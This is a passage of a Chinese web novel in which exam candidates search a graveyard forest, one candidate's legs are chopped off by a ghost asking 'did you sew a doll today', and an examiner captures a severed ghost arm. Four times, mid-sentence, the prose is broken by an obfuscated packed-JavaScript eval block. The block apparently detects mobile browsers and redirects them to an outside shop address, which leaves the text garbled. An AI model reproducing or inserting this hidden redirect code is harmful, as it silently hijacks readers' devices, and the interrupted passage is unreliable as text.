“那什么……”于闻突然出声,递过来一根细长的东西,“我斗胆……花了0.5分买了一根荧光棒,能用么?” 老于上去就是一下:“买都买了,你买啥荧光棒!买盒火柴也是好的!” 于闻叫道:“小说看多了……有的地方不能用明火。” 他拎着荧光棒,拽着老于去追游惑。 于遥细声细气地说:“我……我也去吧。” 一串人都跟着游惑跑了,只剩下梁元浩和陈斌懵在原地。 “他们……考试这么莽的吗???”陈斌喃喃道,“那我们去不去?” 梁元浩沉着脸说:“都说了,那里全是坟。你要去你去,我回屋了。” · 树林里安静极了,连一只鸟都没有。 游惑踩断几根树枝,顺脚踢到后面去。 秦究不冷不热地哼笑了一声,拖着调子说:“能不能有点公德心?你后面还有人。” 游惑一声不吭,又往后踢了几根断枝。 秦究“啧”了一声。 游惑插着兜,逛坟地就像逛公园,好像黑暗的环境并不会对他造成阻碍。 “你确定不用灯?我倒是可以借给你。”秦究说。 游惑:“夜视能力很好,不劳操心。你能不能闭嘴安静一会儿?” 秦究:“不太愿意。” 游惑不理他了。 在林子中走了一会儿,秦究停住脚步说:“谁在喊魂?” 游惑跟着听了片刻,听到了于闻哆哆嗦嗦的声音:“哥——哥你在哪儿——” 隐约还能看见一节绿莹莹的玩意儿,映照着几人的脸。 游惑就地折了几根树枝,摸出打火机点着。 “那边那边!我看到了!”于闻看见火光,鬼喊鬼叫地冲过来。 老于扶着树直喘气说:“哎……你……祖宗诶,你找什么呐?” 游惑说:“随便看看。” 众人脸绿了一下。 “……那、那看到什么了没?没有的话,要不咱们先回去?”老于试探着说。 游惑树枝往脚下一划:“看,一排坟。” 大家吓了一跳,朝火光映照的地方看去。 就见游惑脚尖抵着一块地,地面上并排列着一排墓碑。 碑上刻着古怪的文字,像字母又像圈圈圆圆的蚯蚓。这跟之前村口地碑上的文字很像,看得出都是黑婆刻的。 于闻一脸懵逼:“这种地方你是怎么找的?” “下午黑婆进过这片林子。”游惑蹲下·身,突然冲于闻招了招手:“你手机是不是还有余电?” “一点点。” “拍一下,照抄在黑婆门上。” 大家都愣住了:“干嘛?” 气死黑婆?? 游惑说:“墓碑上有什么?” 老于说:“死人名字,照片,生卒年。” 游惑面无表情。 老于求生欲爆发了一下,又道:“还有死者亲属,谁谁刻的。” 众人:“……” 对哦!这碑是黑婆刻的! 黑婆的名字肯定在碑文里啊! 23. 阅读题 于闻在给墓碑拍照,游惑举着火把照明。 突然,他感觉右脚被人轻踩了一下,不满地问秦究:“踩我干什么?” 秦究:“?” 他低头一看,游惑的鞋尖沾了几星泥土,新鲜得很,确实像是被踩过。 秦究抬起眼:“我有这么无聊?” 游惑:“谁知道。” 别人都离他几步远,唯独秦究跟他并肩而立,脚尖一转就能够到。 况且就这群人,谁胆肥敢这么玩? 001先生刚背上黑锅,于闻又叫了一声:“谁踢我?照片都拍糊了。” 老于连忙撇清:“我没有啊。” 于遥也摆手说:“不是我。” 于闻咕哝说:“你也不是他也不是,那还能有谁?” …… 众人安静两秒,突然齐齐看向地面。 游惑举着火把一扫,发现四周无端起了变化。 有几处泥土微隆,铺在上面的枯枝败叶翻到两边,就好像……短短十几秒的功夫,有什么东西从泥地里爬了过去。 众人僵在原地,惊恐对望。 火光照得大家脸色发白,于闻嘴唇一抖,正要说什么,游惑抬起食指抵住嘴唇。 寂静之中,林子里接二连三响起细细索索的爬行声。 山坳里动辄有回声,远近重叠,根本判断不了是哪里传来的。 有的简直像贴在脚边…… Mike他们当即下肢麻痹,完全不敢动。 游惑转身照亮一处草丛。 众目睽睽之下,有几个颜色惨白的东西一闪而过,眨眼便消失了。 看动静,似乎在往村子里去。 · 陈斌和梁元浩同住一屋。 他们觉得夜闯树林不明智,在村内游荡也不明智。最讨巧的做法就是躲回屋里,闷头睡一觉。 陈斌站在窗边,不放心地说:“真不管他们啊?这样不太好吧……” “你考几场了?怎么还这么优柔寡断。”梁元浩撑在卫生间的水池旁,往脸上泼水,“这场考试还是团队计分,只要答对题,所有人都能加分,何必各个都往上冲呢?如果他们找到了线索和答案,那就太好了,咱们也不欠他们的,之后找机会报答一下。” 陈斌:“那要是没找到呢?万一出事呢?” 梁元浩动作一顿,抽了条毛巾搓脸,含糊地说:“那……也是他们太鲁莽了,咱们劝过的是不是?送我们来的司机,还有村民都说过,不要乱进林子。他们自己明知故犯,太不惜命了。” 陈斌依然没精打采,梁元浩又道:“老实跟你说吧,我考了三场,体会最深的就是这个词。咱们得惜命,不能所有人一起莽。鸡蛋不能放在一个篮子里,小孩儿都懂这个道理。这也算保留退路,万一有人出事了,我们还能顶上。” 他出神片刻,又补充说:“这样胜算最大。” 陈斌看着他说:“梁哥,你啪啪算胜率的样子……像人形计算器。” 梁元浩抓了抓寸头,烦躁地说:“不提这些,我要睡了,你最好也赶紧睡吧。” · 他们一人卷了一床被,不敢耽误,逼着自己睡下。 本以为要辗转很久,谁知屋里的熏香助眠有奇效,很快鼾声就响了起来。 隔壁屋子突然响起了敲击声,很轻,但在夜里却显得极为清晰,令人毛骨悚然。 陈斌翻了个身,梁元浩依然打着鼾,一无所觉。 敲击声接连在几栋屋内响起,越来越近…… 几分钟后,这间屋里终于也响起敲击声。 笃笃笃。 陈斌又翻了个身,眼皮颤动了两下。 笃笃笃。 敲击声又响起来。 陈斌猛地一惊,终于吓醒。 他没敢睁眼,一动不动地硬在床上,听着敲击声的位置。 然后他冷汗就下来了…… 因为那声音就在床下,隔着床板敲在他背部。 笃笃笃。 那东西似乎知道他醒了。又三下敲完,一个轻飘飘的声音突兀响起来:“我在找不听话的客人,你今天缝娃娃了吗?” 陈斌差点当场尿出来。 他死死闭着眼睛,企图装睡。 那声音却不依不饶:“告诉我,你今天缝娃娃了吗?” 身边的梁元浩小腿一抽,似乎也醒了。 那声音已经贴到了两人耳边:“最后再问一次,你今天缝娃娃了吗?” 屋子里一片死寂。 那声音轻轻叹了口气:“唉……” 梁元浩突然叫起来:“缝了缝了!!都缝了!” “噢……真是听话的客人。”那声音遗憾地说:“那你们只好活着了……” 梁元浩和陈斌陷在惊恐中,消化了两秒才明白它的意思,顿时有点庆幸。 那声音又问:“谁缝得多呀?” 梁元浩立刻说:“我!我!我缝了两条腿!他只缝了半截胳膊!” 陈斌吓懵了。 “那真是太好了。”那声音说。 梁元浩松了口气,眼睛悄悄睁开一条缝。 结果就见寒光一闪。 他看到的最后一个画面,就是一只惨白的手高举着剁骨刀,冲他的腿剁下去。 那瞬间,他居然想起了那位在河边凿冰的女村民。 他心说:这动作真像啊…… · 游惑他们几乎在林子里耗了一夜,转遍各处也没能找到那些爬行的东西。 泥土翻搅的痕迹转眼间就消失了,枯枝败叶好好地铺在地上,好像从来没有挪动过。 直到天微微泛起亮光,他们才从林子里出来。 “好像也没那么可怕?”老于犯起了嘀咕,“都说别进林子,咱们在里面呆了一夜,也没出什么事啊。” 于闻一脸麻木:“吓就吓饱了……” “但命还在啊,咱们也没受什么伤。” “那倒是。” 但他们想起昨夜的动静,又感觉没那么简单。 那些惨白的玩意儿细索而过,更像是找到了别的目标,暂时放了他们一马。 · 天很快亮起来。 村民们的房子却依然黑着,窗户破旧,有的门上还结着蛛网。 乍一看,就像荒废的旧屋一样。 游惑冷不丁在一间屋前停住脚步。 众人一愣,突然想起来,这是那位疯子村民住的房子。 “你们先走。”游惑扔下这句话,就去敲疯子的屋门。 “你要找那个村民啊?”于闻问:“你相信他昨天说的那些?” 他知道游惑缺失记忆,以为游惑会对这事很敏感。 突然有人说见过他,虽然看着很不靠谱,但没准儿他哥好奇心作祟,想问问看呢? 结果游惑说:“不信。” 他昨天仔细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730174|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意过,那位疯子看他的眼神很散,看向秦究的时候却亮了一下。 尤其当他对秦究说“你认识我”的时候,表情是认真的。 如果那疯子嘴里有真话,也是对秦究的那部分更真一点。 不过那时候秦究被挡了一下,没看到,也没什么反应。 况且,这位001先生认识哪个NPC、搭不搭理人家……关他屁事。 游惑心想。 他来敲门只是因为疯子口无遮拦,最容易套话。 · 他们敲了五分钟,没有得到任何回应。 “不敢出来吧?或者没起床?村长不是说了么,所有村民都害怕夜里的东西,所以会努力让自己睡得沉一点,起床晚一点。” “等傍晚吧。” 众人想起村长的话,没有在这里干等。 收卷时间越来越近,他们匆匆穿过冻河,围在了黑婆门前。 门上,前一天显示的听力题目清晰可见,答题区域还是一片空白。 有了上一次的经验,他们很快找到了答题的笔—— 这次是真的笔,不过材质特殊,是用白骨雕成的。 于闻抓着它,头皮都麻。 题目(1)黑婆的名字叫什么? 他翻出墓碑照片,依葫芦画瓢在答题区域抄了一大段鬼画符,连标点都没拉下。 正要抄第二题,就被游惑拦住了。 “别抄了。” “为什么?”于闻说:“这墓碑上应该也有黑婆家人的名字呀,咱们相当于找到了两题的答案。” 游惑看着他,那表情活像要在他脸上刻个“蠢”字:“能不能留一题明早用?” 于闻:“……能。” · 老大不小的考生们围着门,翘首等放榜。 游惑一夜没休息,靠着墙在晨曦中昏昏欲睡。 他从偶然的余光中瞥见秦究站在远一些的地方,一手插兜,另一只手里把玩着那张帮助牌。 从这个角度和距离,看不清秦究的表情。 但游惑莫名觉得,这位001号监考官身上缺了点什么。 具体什么,说不上来…… 毕竟他对秦究的认知仅止于这几天而已。 · 不知等了多久,老于突然“诶”了一声,疑问道:“马上就收卷了,那个陈斌还有那个……梁元浩怎么还不起床?” “不知道,乌鸦刚刚就提示过一次,该醒了吧?” 老于说:“你们等开门,我去叫他们。” 他说着,转头去敲陈斌和梁元浩的屋门。 敲门声和乌鸦叫声几乎同时响起。 第一次收卷时间到了。 黑婆房门上,密密麻麻的墓碑文中有两个词被挑了出来,画了个圈。 FloureJaroka 加5分。 众人长长松了一口气,高兴起来。 金大腿果然是金大腿。 紧接着,下半截门上显出了新的题目。 阅读题:查苏村一年一度的巫蛊节到了,黑婆给村民们早早准备了礼物。没有猜错,就是精心缝制的娃娃。她写了一封长长的祷告信,信中给每位村民送了祝词。阅读祷告信,根据信中信息,帮助黑婆将娃娃送给正确的村民。巫蛊之神在上,不细心的人总会遭到惩罚。而细心的人,村民会为他们指明回家的方向,没有林木的地方有回家的路。你们能找到吗? 24. 缝还是不缝 阅读比听力还令人绝望。 众人抽了一口冷气,还没来得及吐,老于的叫声就传了过来。 “我天,你们快来!” 一夜功夫,陈斌和梁元浩的屋子天翻地覆。 卧室到处都是血,地上、墙上、床上……还有两道长痕一直蔓延到大门口。 大家赶过去的时候,老于正贴在客厅墙边:“我他妈进来都蒙了!根本没地方下脚!” “我操……怎么回事?那俩人呢?” 老于指着敞开的卧室门:“应该还在床上,被子鼓着。叫了几声,没人应……我想掀开看看的,又怕太冒失了。” 其他人脸色惨白。 他们从没见过这种阵仗。 “还、还活着吗?”于闻惊恐地问。 老于没吭声。 就这种出血量,换谁都得凉。 更何况这里血腥味浓郁,地板上的血已经干透……起码晾了有一夜了。 屋里一时间没人说话。 这两位新加入的成员跟大家感情不深,尤其梁元浩,行事说话都不讨喜,但他并没有害过谁。 没人希望他们落得这种下场。 “我再去确认一下……” 这种时候,老于当过几年兵的素质就显出来了。别人都快吐了,他抹把脸就能上。 他也就对着外甥会怂。 不过老于脸还没抹完,游惑已经进了卧室。 秦究没有跟进去。 他抱着胳膊斜倚在门框上,落在游惑身上的目光饶有兴味,但唇角却抿成一条刻板的直线。他似乎对这种血腥场面有些厌恶,又好像无动于衷。 老于也想进卧室。 但某位监考官把卧室门挡得严严实实,他斟酌了片刻,没找到开口机会。 我徘徊两圈,考官总能听见动静吧? 老于心想。 谁知并没有…… 他转了四圈,监考官头都没回。 等这位监考官先生分点注意力给他,估计能等到下辈子。 老于憋了半天,憋出一句:“那个……” 他刚出声,卧室里突然传来重物落地的声音。 接着是一声失了智的惨叫。 刚吐过的于闻冲进来:“哥——哥你怎么了?!” 老于也吓了一跳。 堵着门的监考官终于侧过身,瞥了于闻一眼:“你哥叫得出这种声音?” 于闻:“???” 他心说:我哥叫什么声你管得着么? 紧接着他便反应过来…… 对啊,他哥那半死不活的性子,杀了他都不会叫这么惨。 那……房里还有谁? 一群人冲进房间,尖叫声顿时此起彼伏。 “操你们是人是鬼????”于闻瞪着床边的地板,吓得声音都劈了。 众人瞪着的地板上,陈斌跌坐在那里,看着满地血迹,叫得比谁都大声。 游惑被他们叫得头疼,冷着脸喝道:“闭嘴!” 大家总算安静下来。 他们惊恐又茫然地对望片刻,忍不住问:“你……你还活着吗?” 老于小心翼翼摸了陈斌一下:“活的,还热着。” “那……梁元浩呢?” 陈斌呆滞半晌,才轻声说:“没了。” “什么叫没了?” 陈斌颠三倒四地说:“昨晚……昨晚有人敲我们的床,问我们娃娃,还拿了刀,我晕过去了。” 众人基本没听懂。 “等会儿,慢慢说,我们捋一捋。”老于说。 · 捋了十分钟,他们终于弄清了原委。 “所以缝了娃娃的人会被找上门,缝哪里剁哪里???” 陈斌点了点头:“她问我们谁缝得多,梁元浩说他多,缝了两条腿,然后……腿就被剁了。我当时就吓晕了,最后听见那个声音对我说……” “说什么?” 他咽了口唾沫,又发起抖来:“她说……明天见。” · 梁元浩就这么没了踪影。 客厅那条拖行的血迹应该是他留下的,但血迹到门口戛然而止,之后又去了什么地方,便无从得知。 其实大家隐约可以猜到,梁元浩十有八·九是被拖进树林了。 可是树林围着村子绕了一圈,广到看不见边际,在里面找人,无异于河底捞针。 他们找了很久,没能找到任何痕迹,不得不在乌鸦的警告声中回到屋前。 · 【警告:阅读题已经开始,请考生不要浪费考试时间。】 乌鸦阴森森地重复了三遍,大家面色晦暗地敲开黑婆的门。 一切都像是昨天的复刻。 黑婆又捻开了一摞牌,让站在最前面的人抽一张。 大家脸色都很难看。 他们昨天抽了一张死神,今天队伍里就少了一个人。 要是再抽一张凶牌,谁知道会是什么结果? 这次站在前面的是于遥。 黑婆盯着她看了很久,看得她手都抖了。 她垂着头,咬牙抽了一张。 这张牌不像死神那么好认,牌面上是一个金发天使在吹奏乐器,他身前有一面布旗,旗上画着红十字。 “这是什么牌?”大家都很忐忑。 于遥说捏紧了牌,低声说:“审判。” “啊?” 大家也没想到她能认,又追问道:“好牌坏牌?” 于遥愣了一下,才说:“代表复活、新生和好运……” “那是好牌啊!” 众人一下子高兴起来。 老于说:“复活?梁元浩会不会……还有得救?” 复活和好运总算让大家放松下来。 黑婆却很不高兴,甚至迁怒到了抽牌的于遥。她始终盯着于遥,眼神怨怼。 半晌之后,她才迈着小步进了房间,从床头柜里拿出一个信封。 不出意外,这就是题目所说的祷告信了。 黑婆把信封交给大家,然后伸出食指点着木架上的娃娃,嘴里念叨:“yeck,dui,trin,store,pansch……” “deshtasho.” 黑婆说完乱码,又苦恼地搓着手。 “干啥呢这是?”于闻感觉自己在看哑剧。 游惑:“数人头。” 黑婆似乎对娃娃的数量不满意,又把那个竹筐拖了出来,一人塞了一团毛线球。 她把沙漏倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730175|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放,又离开了。 · 有了梁元浩的教训,大家看毛线球的眼神都不一样了。 这他妈哪里是毛线球,这就是一把把剁骨刀啊! “这谁敢缝啊……”老于咕哝了一句,把毛线球扔回竹筐。 大家纷纷照做。 游惑却突然出了声。 他问陈斌:“昨晚的话重复一遍。” 陈斌茫然:“哪句?” “听话的客人那句。” 陈斌:“哦,那怪物问我们缝没缝娃娃,我们说缝了,她说我们是听话的客人,只好活着了……” 听话的客人,只好活着了? 众人一愣。 之前他们被吓得不轻,都没注意到这个内容。 现在重新再听,简直毛骨悚然。 “听话的客人只好活着……那不听话的呢???” 游惑说:“只好去死了。” “……” 缝了剁手剁脚剁脑袋,不缝就去死。 那还缝不缝??? 众人慌乱至极,好半天没个主意。 秦究作为监考官,看戏看得百无聊赖。他拿起黑婆的信封,拆出几页祷告信看鸟语。 刚看没两行,就被人不客气地夺走了。 “你能不能有点监考官的自觉,不要妨碍考试?”游惑呛了他一句,拿着信纸在沙发里坐下。 “不能。”秦究维持着拿信的姿势,食指拇指摩挲了两下,偏头说:“怎么办?我突然感觉监考官有点无聊……” 游惑冷笑一声:“感觉真灵敏。” “所以这张求助牌,你打算什么时候用?”秦究摸出卡牌在游惑面前晃了两下。 大佬无动于衷,说:“留着发霉吧。” · 祷告信是鬼画符,游惑翻了不到五秒就丢开了。 狗屁题目。 监考官捡起信纸,拖腔拖调地气人:“怎么?优等生的小聪明不管用了?” 游惑起身就走。 他在黑婆屋内转了一圈,试图找到吉普赛语之外的提示。 这场考试的背景故事中,黑婆的家人也许是丈夫来自于俄罗斯,黑婆自己应该会说俄语,某些情况下也会使用。他想找到这类痕迹…… 然而黑婆清理得很干净,他一点儿也没找到。 该怎么办呢…… · 今天沙漏的时间比昨天长,但大家依然觉得漏得很快。 “沙漏都过半了,娃娃怎么说?缝不缝?”老于说。 于遥小声提议说:“再找找,也许有办法?” “要不……我们今晚还去树林吧!昨天不就这样躲过一劫么?”于闻说。 晚上的树林非常吓人,但差点儿吓死总比真死好。 有了昨天的经验,大家对此非常赞同。 正要一致通过,某大佬又开始特立独行了:“我回屋睡觉。” 于闻叫道:“为什么啊?” 游惑说:“试试会不会死。” 众人:“???” 这特么还能试? “你一个人呆在这里?那怎么行!”老于当场反对。 结果就听监考官漫不经心地问了一句:“不好意思,我不是人?” 25. 初始值 监考官能算人? 起码在考生眼里不算。 但秦究说话,老于也没敢吱声抗议。 他们怕他。 其实本场考试到现在,这位001号监考官还没做过什么可怕的事。 他没有行使过职权,没有抓过谁违规,没有没收过物品工具,但考生还是怕他。 因为大家默认监考官是系统的一部分,是这个系统的眼睛和爪牙。 考试系统很可怕,所以监考官也一样。不到万不得已,没人想惹他。 哦……游惑除外。 老于想到游惑就头疼,想到“不守规矩”的游惑要跟“不能乱惹”的监考官单独相处,浑身都疼。 “要不我也不去林子了。”他说。 “能活到现在都靠你,把你留在这里,我们自己去避难,这……我做不到。”于遥小声说,“万一能帮上什么忙呢?” 其他人也纷纷附和,结果惨遭拒绝。 游惑扔了一句“人多太吵”,就不再搭理人了。 大家拗不过他,又怕不听话拖了后腿,只好妥协。 · 天色渐黑,河对岸的村民又出来几个,一如既往在凿冰。 “好像还是那几个?”于闻隔着窗子数人头,“那个穿大长袄的,是昨天的大姐吧?还有那个疯子……那两个戴皮帽的,是不是昨天把疯子拽进屋的?” 这位同学手机没少玩,游戏没少打,视力却好得很,至今没架过眼镜。 其他人看不清那么远的地方,但根据着他的描述扫一眼,好像是那么回事。 游惑看了片刻,目光又落回到木架上。 先前黑婆数人头的时候,他跟着数过。 已经完工的娃娃一共16个,大致分布他也记得。 但现在再看,有几个娃娃似乎……悄悄挪动过? 如果他没记错的话,第一层最左边的娃娃下午还横躺着,现在却坐得很端正…… 游惑走到木架前正要细看,黑婆就回来了。 她进屋第一件事就是检查成果。 令她不高兴的是,所有客人都两手空空,没人听她的话! 黑婆一声不吭地盯视片刻,突然冷笑一声。她蹒跚地走到墙边,那里钉着于遥抽出来的“审判”牌。她咯咯笑着,把正位的“审判”牌拨成了倒立的。 “……” 众人被这举动骚懵了。 卡都抽完了,还能动?! 他们不懂这套卡牌的含义,但直觉这不是好事。 于遥哆嗦着说:“如果倒立……就表示反义。” 复活、希望的反义,那不就是死亡和绝望? 黑婆又翻出一个布袋。 她把木架上的娃娃统统扫进布袋里,又从竹筐中挑出四个未完工的,一起扔进去,把布袋塞给了离她最近的游惑。 四个半成品都很陈旧,其中一个脏兮兮的,就像在地上滚过,或是不小心被火燎过…… · 一领到娃娃,他们就被黑婆轰出了门。 今天沙漏比昨天慢,他们结束的时候,村民已经凿完冰各自回屋了。 这些村民关上门就翻脸不认人,谁敲也不开,大家便没去浪费时间。 他们兵分两路,游惑和秦究钻进了住处,其他人则顺着冻河去树林。 “我还是没想明白,为什么村民那么怕那个林子?”于闻咕哝说,“虽说都是坟,但露出地面的真没几个。吓人是吓人,但总比待在屋里好吧?” 老于:“谁知道。” 于遥说:“总有怕的理由吧……” 虽说要避险,但他们始终不放心游惑,所以没去树林深处,而是在边缘徘徊。 “就在这等着吧。”于闻手搭凉棚望了一眼,“这边没有遮挡,可以直接看到我哥的屋子。” 大家自然没有异议,席地坐下,啃着硬邦邦的干面包等待夜深。 · 亮着灯的屋内。 游惑一格一格地翻看橱柜,秦究坐在沙发里,把长棍面包掰折成两半。 “分你一半,怎么样?”他说。 “免了。”游惑头也没回。 他离沙发这么远,都能听见面包可怕的“咔嚓”声,可见干到什么程度。 秦究的声音又响起来:“不满意?那分你一大半吧。” 游惑饿了一天,心情很不美妙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730176|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他“彭”地关上柜门,目不斜视从沙发旁走过:“要噎死别拽上我。” 橱柜、炉边、木箱、铁罐…… 从客厅到厨房再到卧室,所有能找的地方他都找过了,真的找不到第二样食物。 这倒霉考场怎么不炸了呢? 游惑不高兴地直起身,脸就被什么东西碰了一下。 他垂眼一看,半截面包横在脸前,像架在脖子上威胁的刀。 秦究在他身后说:“别挣扎了,我早就找过了,没有其他吃的。” 游惑面无表情,拒不妥协。 这位不务正业的监考官又用面包碰了碰游惑的嘴角,说:“我建议你尝一下试试,没有想象的糟糕。我手底下还没出过饿死的考生,不要这么特立独行。” 游惑一脸嫌弃地僵持片刻,重重接下。 “明明三个监考官,为什么全程监控的是你?”游惑掰了一块面包,冷声问。 秦究重新回到沙发里,往煮干净的锅里放茶叶。 他把歪斜的小铁锅架在火盆上,这才撩起眼皮问:“考场的规矩,全程监控这种无聊事一般是主监考官来,很不巧,我就是那位倒霉人士。怎么,你想谁来?” 游惑:“922、154,随便谁。” 至少人家知道带牛肉。 朴素的火炉很旺,铁锅很快发出滋滋声响。 秦究在热气中眯了一下眼睛,说:“我会替你转告他们的,能被考生惦记,他们一定高兴坏了。” 好好的话,从他嘴里说出来就很嘲讽。 游惑没搭理。 茶水咕噜噜地煮着,屋子里安静了片刻。 游惑塞了几口干面包便没了胃口,他拍了拍面包屑,看了秦究一眼问:“你是主监考官?” 秦究:“不像?” 游惑:“序号谁排的?” “能力?战力?参考因素据说很多。” 秦究就像对什么都不上心,连跟自己有关的事情,都用的是“据说”这种词。 游惑:“所以001就是第一位?” 秦究笑了一下,伸开长腿换了个姿势,说:“也不一定,据说曾经还有一个初始值,算……前辈?” 26. 排位A “初始值……000?”游惑随口道。 “那倒不是。”秦究说。 据极其有限的信息显示,那时候系统还不是现在这样,监考官全部来源于特殊选拔,人少而精。 其中一位监考官格外年轻,也格外厉害。 “好几年前的事了。”秦究说:“那时候排序用的是字母,那位排位A。” 也许是锅里茶水在沸,热气蒸腾上来。 游惑听见“排位A”的时候,走神了一瞬。 秦究摩挲着杯口边缘,挑眉道:“我发现你对我那位前辈很有兴趣?” 游惑回过神来。 面包早被他丢在一边,他手指抵着下巴,表情又恢复恹冷:“等茶等得无聊,随便问两句而已。那位能压你一头的监考官人呢?” “你这形容不太准确。”秦究半真不假地纠正道:“他做监考官的时候,我还是考生。后来转为监考,跟他真正共事的时间也很短,很难说谁压谁一头。” 游惑哼了一声。 “至于他现在……”秦究说:“死了?我不是很清楚,总之已经被系统除名了。” 游惑觉察到他语气的微妙变化,抬眼道:“你不喜欢他。” 秦究笑了一声,嘴角又懒洋洋地挂下去。 因为系统误伤,秦究的记忆有缺失,那几年的人和事都记不清了,自然也包括那位监考官A。为了自检故障,那几年的相关资料被系统封禁,目前谁也调不出。 他对考官A的全部认知,都来源于别人之口。 据说他做考生的时候,就总给A找茬。 据说他们共事期间关系依然很差,水火不容。 据说那次系统故障,故障区只有他跟A两位主监考。在那情况下两人都没能握手言和,最后损失惨重。秦究鬼门关里走了一趟,而考官A则被系统除名。 …… 这些据说里,有多少真多少假,无从得知。 关于那次系统故障,秦究几乎忘得干干净净,唯独对一个场景留有一点模糊的印象。 那应该是一片废墟,周遭是支棱的防护网、散落的生锈车辆和机器,还有断裂的缆线…… 他曲着一条腿坐在某个横倒的金属管上,手肘搭着膝盖,衬衫前襟上全都是血。 他咳嗽着,哼笑了一声。 面前却还有一个人。 那人的穿着打扮和模样长相,他根本想不起来,反倒记得对方身后极远的地方,是漫无边际的防风林。 照那些据说来看,对方应该就是监考官A。 这是那些年在他脑中残留的唯一痕迹。 而他每次想到这个场景,心情都会变得非常差。 差到什么程度呢? 就好像……再也痛快不起来了。 但要说讨厌,又似乎不是那么回事。 · 陈茶的味道散开来,不算太香,但还算提神。 游惑盯着秦究看了片刻,站起身从橱柜里翻出一个还算顺眼的杯子,不客气地从锅里舀了一杯茶。 他喝了几口,面包干堵心口的感觉总算下去了。 刚刚跟监考官闲聊活像吃错了药,这会儿气顺了,他又恢复如常。丢下杯子便进了卧室。 · 卧室还算整洁。 柜子里塞了好几床被子,专供前来送死的客人共赴黄泉。 游惑扯了一床被子出来,打算蒙头就睡。 但他关门前瞥见了客厅板直的沙发,动作又停了一下。 一分钟后,大佬拎着另一床棉被往沙发上怼,因为动作很不客气,差点儿怼了监考官满脸。 秦究端着茶杯让过偷袭,惊讶地看了看被子,又看了看游惑。 游惑顶着一脸“监考官怎么还不狗带”的表情,困倦地进了卧室,毫不客气地关上了门。 发出“嘭”的一声响。 · 前半夜,村里风平浪静。 预料中的怪物、剁骨刀都没出现。 游惑撑着眼皮等了两个小时,终于放弃,扯过被子翻了个身沉沉睡去。 直到凌晨时分,墙上的钟咔哒咔哒跳过最后几格,变成3点整。 熟悉的敲击声又来了…… 笃笃笃。 那声音先是响在墙外,又很快到了墙内。 笃笃笃。 几分钟的功夫,它就响到了床底下,贴着床板,敲在游惑背心。 游惑一无所觉,他睡着了总是很难醒。 笃笃笃。 游惑依然一动不动。 他侧脸压在枕边,一只手伸出被外挡着眼睛,睡得非常安稳。 闹鬼闹了快五分钟,没人理它。 “……” 敲击声终于停下了,它似乎非常困惑,又有点恼怒。 卧室里安静半晌,突然响起了细细索索的声音,跟前夜树林里的声音一样,就像有什么东西在木地板上爬行。 那东西从卧室爬到了客厅,找到了屋里的另一个活人。 笃笃笃。 敲击声终于又响了起来…… 第一遍刚敲完,合衣睡在沙发上的监考官动了一下。 他闭着眼捏了捏眉心。 就听茶几上,一个女声幽幽地问:“我来找不听话的客人,你今天缝娃娃了吗?” 监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730177|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考官:“……” 题目怕不是疯了。 居然饥不择食地来剁监考官? 秦究眼睛都没睁,应付地说:“没缝,怎么办吧?” “哦……那真是太遗憾了,只好留下你的脑袋了。” 女声轻叹一口气,遗憾得跟真的一样。 下一秒,一条惨白的手臂猛地扬起,抡刀就要剁。 结果落下的瞬间,却被另一只手攥住了。 分寸不得近。 秦究攥着怪物坐起身来,右手居然还能分神打开落地灯。 灯光一亮,总算照清了怪物全貌。 那其实不能叫怪物,只是一条手臂。 没有头脸,没有身体躯干,没有其他一切,只是一条手臂。 看创口,应该是被剁下的。不像最近,估计是很久之前。 联想到昨晚梁元浩的遭遇……这闹鬼的手臂,没准就来自于曾经某个倒霉的考生。 因为没有躯干限制,鬼手臂灵活至极。 它抡着剁骨刀,在秦究手下不断翻扭,试图去砍对方的头。 秦究烦不胜烦。 他冷笑一声,从茶几下抽出皮绳,连刀带手捆了个结实,然后拎着这份大礼,敲响了某位睡神的门。 · 游惑是被羽毛骚醒的。 他偏头打了个喷嚏,抓着头发满脸不耐烦地坐起来,这才发现床边坐了一个人。 “你怎么进来了?”游惑一脸不高兴。 